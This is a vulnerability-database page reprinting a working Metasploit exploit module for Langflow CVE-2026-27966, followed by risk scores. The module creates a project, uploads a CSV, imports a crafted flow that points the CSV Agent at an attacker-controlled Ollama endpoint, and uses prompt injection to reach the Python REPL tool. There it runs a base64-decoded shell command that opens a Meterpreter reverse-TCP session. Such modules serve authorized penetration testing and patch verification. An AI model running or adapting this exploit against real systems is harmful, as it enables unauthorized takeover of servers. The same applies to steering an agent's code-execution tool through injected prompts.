Lucene search
K

📄 Langflow Remote Code Execution

🗓️ 23 Apr 2026 00:00:00Reported by weblover12, Takahiro YokoyamaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 79 Views

Langflow RCE via CSV Agent prompt injection exposes Python REPL and enables remote code execution.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-27966
26 Feb 202601:55
attackerkb
Circl
CVE-2026-27966
25 Feb 202619:06
circl
CNNVD
Langflow 安全漏洞
26 Feb 202600:00
cnnvd
CVE
CVE-2026-27966
26 Feb 202601:55
cve
Cvelist
CVE-2026-27966 Langflow has Remote Code Execution in CSV Agent
26 Feb 202601:55
cvelist
EUVD
EUVD-2026-8819
27 Feb 202615:47
euvd
Github Security Blog
Langflow has Remote Code Execution in CSV Agent
27 Feb 202615:47
github
Metasploit
Langflow RCE
23 Apr 202619:00
metasploit
NVD
CVE-2026-27966
26 Feb 202602:16
nvd
OSV
CVE-2026-27966 Langflow has Remote Code Execution in CSV Agent
26 Feb 202601:55
osv
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Post::File
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Langflow RCE',
            'Description' => %q{
              The CSV Agent node in Langflow hardcodes allow_dangerous_code=True, which automatically exposes LangChain's Python REPL tool (python_repl_ast).
              As a result, an attacker can execute arbitrary Python and OS commands on the server via prompt injection, leading to full Remote Code Execution (RCE).
            },
            'Author' => [
              'weblover12',        # Vulnerability discovery and PoC
              'Takahiro Yokoyama'  # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-27966'],
              ['GHSA', '3645-fxcv-hqr4'],
            ],
            'Targets' => [
              [
                'Linux Command', {
                  'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
                  }
                }
              ],
              [
                'Python payload',
                {
                  'Platform' => 'python',
                  'Arch' => ARCH_PYTHON,
                  'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'WfsDelay' => 300,
              'FETCH_DELETE' => true
            },
            'Payload' => {
              'BadChars' => '"'
            },
            'DisclosureDate' => '2026-02-25',
            'Notes' => {
              'Stability' => [ CRASH_SAFE, ],
              'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
              'Reliability' => [ REPEATABLE_SESSION, ]
            }
          )
        )
        register_options(
          [
            Opt::RPORT(7860),
            OptString.new('APIKEY', [ true, 'Langflow API key to interact with Langflow.', '' ]),
            OptString.new('OLLAMAAPIURI', [ true, 'Endpoint of the OLLAMA API controlled by an attacker.', '' ]),
            OptString.new('MODEL', [ true, 'Valid ollama model name.', '' ]),
          ]
        )
      end
    
      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api/v1/version')
        })
        return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200
    
        json_version = res&.get_json_document&.fetch('version', nil)
        return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version
    
        version = Rex::Version.new(json_version)
        return Exploit::CheckCode::Unknown('Failed to get version.') unless version
    
        return Exploit::CheckCode.Safe("Version #{version} detected. Which is not vulnerable.") if version >= Rex::Version.new('1.8.0')
    
        # check if API key is valid
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api/v1/users/whoami'),
          'headers' => {
            'x-api-key' => datastore['APIKEY']
          }
        })
        return Exploit::CheckCode::Appears("Version #{version} detected and API key is valid. Which is vulnerable.") if res&.code == 200
    
        Exploit::CheckCode.Safe("Version #{version} detected and API key is invalid. Which is not vulnerable.")
      end
    
      def exploit
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri, 'api/v1/projects/'),
          'method' => 'POST',
          'ctype' => 'application/json',
          'headers' => {
            'x-api-key' => datastore['APIKEY']
          },
          'data' => {
            'name' => rand_text_alphanumeric(8),
            'description' => 'string',
            'components_list' => [],
            'flows_list' => []
          }.to_json
        })
        @folder_id = res&.get_json_document&.fetch('id', nil)
        fail_with(Failure::Unknown, 'Failed to create a new project.') unless @folder_id
        print_status("Project: #{@folder_id}")
    
        # construct POST data
        fname = "#{rand_text_alphanumeric(8)}.csv"
        data = Rex::MIME::Message.new
        data.add_part("#{rand_text_alphanumeric(2)},#{rand_text_alphanumeric(2)}", 'application/csv', nil, "form-data; name=\"file\"; filename=\"#{fname}\"")
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri, 'api/v2/files'),
          'method' => 'POST',
          'headers' => {
            'x-api-key' => datastore['APIKEY']
          },
          'ctype' => "multipart/form-data; boundary=#{data.bound}",
          'data' => data.to_s
        })
        path = res&.get_json_document&.fetch('path')
        fail_with(Failure::Unknown, 'Failed to upload a csv file.') unless path
        @fid = res&.get_json_document&.fetch('id')
    
        exploit_data = exploit_data('CVE-2026-27966', 'cve_2026_27966.json')
        exploit_data = exploit_data.gsub('__FOLDERID__', @folder_id)
        exploit_data = exploit_data.gsub('__MODELNAME__', datastore['MODEL'])
        exploit_data = exploit_data.gsub('__OLLAMAAPIURI__', datastore['OLLAMAAPIURI'])
        exploit_data = exploit_data.gsub('__FILEPATH__', path)
        case target['Arch']
        when ARCH_PYTHON
          payload_data = payload.encode
        else
          payload_data = "__import__('os').system('echo #{Rex::Text.encode_base64(payload.encoded)}|base64 -d|/bin/sh')"
        end
        exploit_data = exploit_data.gsub('__PAYLOAD__', payload_data)
        exploit_data = exploit_data.gsub('__NAME__', rand_text_alphanumeric(8))
        # construct POST data
        data = Rex::MIME::Message.new
        data.add_part(exploit_data, 'application/json', nil, "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(3..9)}.json\"")
    
        # Import a flow
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri, 'api/v1/flows/upload/'),
          'method' => 'POST',
          'ctype' => "multipart/form-data; boundary=#{data.bound}",
          'data' => data.to_s,
          'vars_get' => { 'folder_id' => @folder_id },
          'headers' => {
            'x-api-key' => datastore['APIKEY']
          }
        })
        fail_with(Failure::Unknown, 'Temporary failed to import a flow.') unless res&.get_json_document.is_a?(Array)
        flow_id = res&.get_json_document&.first&.fetch('id', nil)
        fail_with(Failure::Unknown, 'Failed to import a flow.') unless flow_id
        print_status("Flow: #{flow_id}")
    
        # Execute
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri, "api/v1/build/#{flow_id}/flow"),
          'method' => 'POST',
          'ctype' => 'application/json',
          'headers' => {
            'x-api-key' => datastore['APIKEY']
          }
        })
        job = res&.get_json_document&.fetch('job_id')
        fail_with(Failure::Unknown, 'Unexpected server reply.') unless job
        print_status("Job: #{job}")
        print_status('Waiting...')
      end
    
      def cleanup
        super
        if @fid
          send_request_cgi({
            'uri' => normalize_uri(target_uri, "api/v2/files/#{@fid}"),
            'method' => 'DELETE',
            'headers' => {
              'x-api-key' => datastore['APIKEY']
            }
          })
        end
        if @folder_id
          send_request_cgi({
            'uri' => normalize_uri(target_uri, "api/v1/projects/#{@folder_id}"),
            'method' => 'DELETE',
            'headers' => {
              'x-api-key' => datastore['APIKEY']
            }
          })
        end
      end
    
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Apr 2026 00:00Current
8.2High risk
Vulners AI Score8.2
CVSS 3.19.8
EPSS0.41016
SSVC
79